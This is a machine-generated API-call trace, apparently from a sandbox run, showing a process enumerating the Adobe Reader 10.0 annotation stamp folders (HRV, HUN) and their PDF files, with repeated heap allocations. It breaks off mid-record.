RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.117] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12a35d0 [0083.117] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\HRV\\*", fInfoLevelId=0x1, lpFindFileData=0x119e474, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e474) returned 0x2e8f80 [0083.119] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8070aee0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x8070aee0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x8070aee0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0083.119] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8070aee0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x21a02, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dynamic.pdf", cAlternateFileName="")) returned 1 [0083.119] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.120] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.120] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.120] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.120] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.120] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12a36d8 [0083.121] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0083.121] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12154a0 [0083.121] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12a6228 [0083.121] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.121] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8070aee0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x80f5, dwReserved0=0x0, dwReserved1=0x0, cFileName="Faces.pdf", cAlternateFileName="")) returned 1 [0083.121] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.122] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.122] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.122] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.122] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.122] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12154c0 [0083.122] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12a6330 [0083.123] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.123] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8070aee0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xb731, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pointers.pdf", cAlternateFileName="")) returned 1 [0083.123] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.123] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.123] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.124] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.124] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.124] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12154e0 [0083.124] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12a6438 [0083.124] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.124] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8070aee0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xb6cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="SignHere.pdf", cAlternateFileName="")) returned 1 [0083.124] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.125] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.125] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.125] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.125] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.125] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1215500 [0083.126] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12a6540 [0083.126] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.126] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8070aee0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1c4f5, dwReserved0=0x0, dwReserved1=0x0, cFileName="Standard.pdf", cAlternateFileName="")) returned 1 [0083.126] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.126] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.126] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.127] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.127] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.127] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1215520 [0083.127] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12a6648 [0083.128] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.128] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8070aee0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1b7c1, dwReserved0=0x0, dwReserved1=0x0, cFileName="StandardBusiness.pdf", cAlternateFileName="")) returned 1 [0083.128] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.128] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.128] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.128] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.128] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.129] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1215540 [0083.129] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12a6750 [0083.129] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.129] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8070aee0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1b7c1, dwReserved0=0x0, dwReserved1=0x0, cFileName="StandardBusiness.pdf", cAlternateFileName="")) returned 0 [0083.129] GetLastError () returned 0x12 [0083.129] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\HRV\\*", fInfoLevelId=0x1, lpFindFileData=0x119e474, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e474) returned 0x2e91c0 [0083.129] FindClose (in: hFindFile=0x2e8f80 | out: hFindFile=0x2e8f80) returned 1 [0083.130] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8070aee0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x8070aee0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x8070aee0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0083.130] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8070aee0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x21a02, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dynamic.pdf", cAlternateFileName="")) returned 1 [0083.130] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8070aee0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x80f5, dwReserved0=0x0, dwReserved1=0x0, cFileName="Faces.pdf", cAlternateFileName="")) returned 1 [0083.130] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8070aee0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xb731, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pointers.pdf", cAlternateFileName="")) returned 1 [0083.130] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8070aee0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xb6cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="SignHere.pdf", cAlternateFileName="")) returned 1 [0083.130] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8070aee0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1c4f5, dwReserved0=0x0, dwReserved1=0x0, cFileName="Standard.pdf", cAlternateFileName="")) returned 1 [0083.130] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8070aee0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1b7c1, dwReserved0=0x0, dwReserved1=0x0, cFileName="StandardBusiness.pdf", cAlternateFileName="")) returned 1 [0083.130] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8070aee0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1b7c1, dwReserved0=0x0, dwReserved1=0x0, cFileName="StandardBusiness.pdf", cAlternateFileName="")) returned 0 [0083.130] GetLastError () returned 0x12 [0083.130] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12a35d0) returned 1 [0083.130] FindClose (in: hFindFile=0x2e91c0 | out: hFindFile=0x2e91c0) returned 1 [0083.131] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12a36d8) returned 1 [0083.131] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12a34c8) returned 1 [0083.131] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x806e4d80, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x806e4d80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x806e4d80, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HUN", cAlternateFileName="")) returned 1 [0083.131] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12a34c8 [0083.131] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\HUN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\hun"), fInfoLevelId=0x0, lpFileInformation=0x119e628 | out: lpFileInformation=0x119e628*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x806e4d80, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x806e4d80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x806e4d80, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0083.132] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\HUN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\hun"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x180 [0083.132] SetFileTime (hFile=0x180, lpCreationTime=0x0, lpLastAccessTime=0x119e66c, lpLastWriteTime=0x119e66c) returned 0 [0083.133] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x11ec790 [0083.133] DeviceIoControl (in: hDevice=0x180, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x11ec790, nOutBufferSize=0x4000, lpBytesReturned=0x119e6c4, lpOverlapped=0x0 | out: lpOutBuffer=0x11ec790, lpBytesReturned=0x119e6c4, lpOverlapped=0x0) returned 0 [0083.133] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11ec790) returned 1 [0083.133] NtClose (Handle=0x180) returned 0x0 [0083.133] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12a34c8) returned 1 [0083.133] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.134] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0083.134] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12a34c8 [0083.134] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.134] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12a36d8 [0083.134] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\HUN\\*", fInfoLevelId=0x1, lpFindFileData=0x119e474, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e474) returned 0x2e91c0 [0083.136] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x806e4d80, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x806e4d80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x806e4d80, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0083.136] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x806e4d80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xbb3e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dynamic.pdf", cAlternateFileName="")) returned 1 [0083.136] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.136] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.136] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.137] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.137] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.137] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12a35d0 [0083.137] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0083.137] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1215560 [0083.138] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12a6858 [0083.138] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.138] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x806e4d80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x80f5, dwReserved0=0x0, dwReserved1=0x0, cFileName="Faces.pdf", cAlternateFileName="")) returned 1 [0083.138] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.138] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.138] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.139] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.139] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.139] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1215580 [0083.139] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12a6960 [0083.140] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.140] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x806e4d80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xb731, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pointers.pdf", cAlternateFileName="")) returned 1 [0083.140] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.140] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.140] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.140] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.140] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.141] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12155a0 [0083.141] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12a6a68 [0083.141] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.141] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x806e4d80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x9083, dwReserved0=0x0, dwReserved1=0x0, cFileName="SignHere.pdf", cAlternateFileName="")) returned 1 [0083.141] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.142] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.142] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.142] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.142] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.142] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12155c0 [0083.142] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12a6b70 [0083.143] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x7440) returned 0x12c24b8 [0083.143] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12bb0b0) returned 1 [0083.143] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.143] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x806e4d80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1c4f5, dwReserved0=0x0, dwReserved1=0x0, cFileName="Standard.pdf", cAlternateFileName="")) returned 1 [0083.143] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.144] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.144] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.144] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.144] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.144] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12155e0 [0083.144] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12a6c78 [0083.145] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.145] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x806e4d80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, 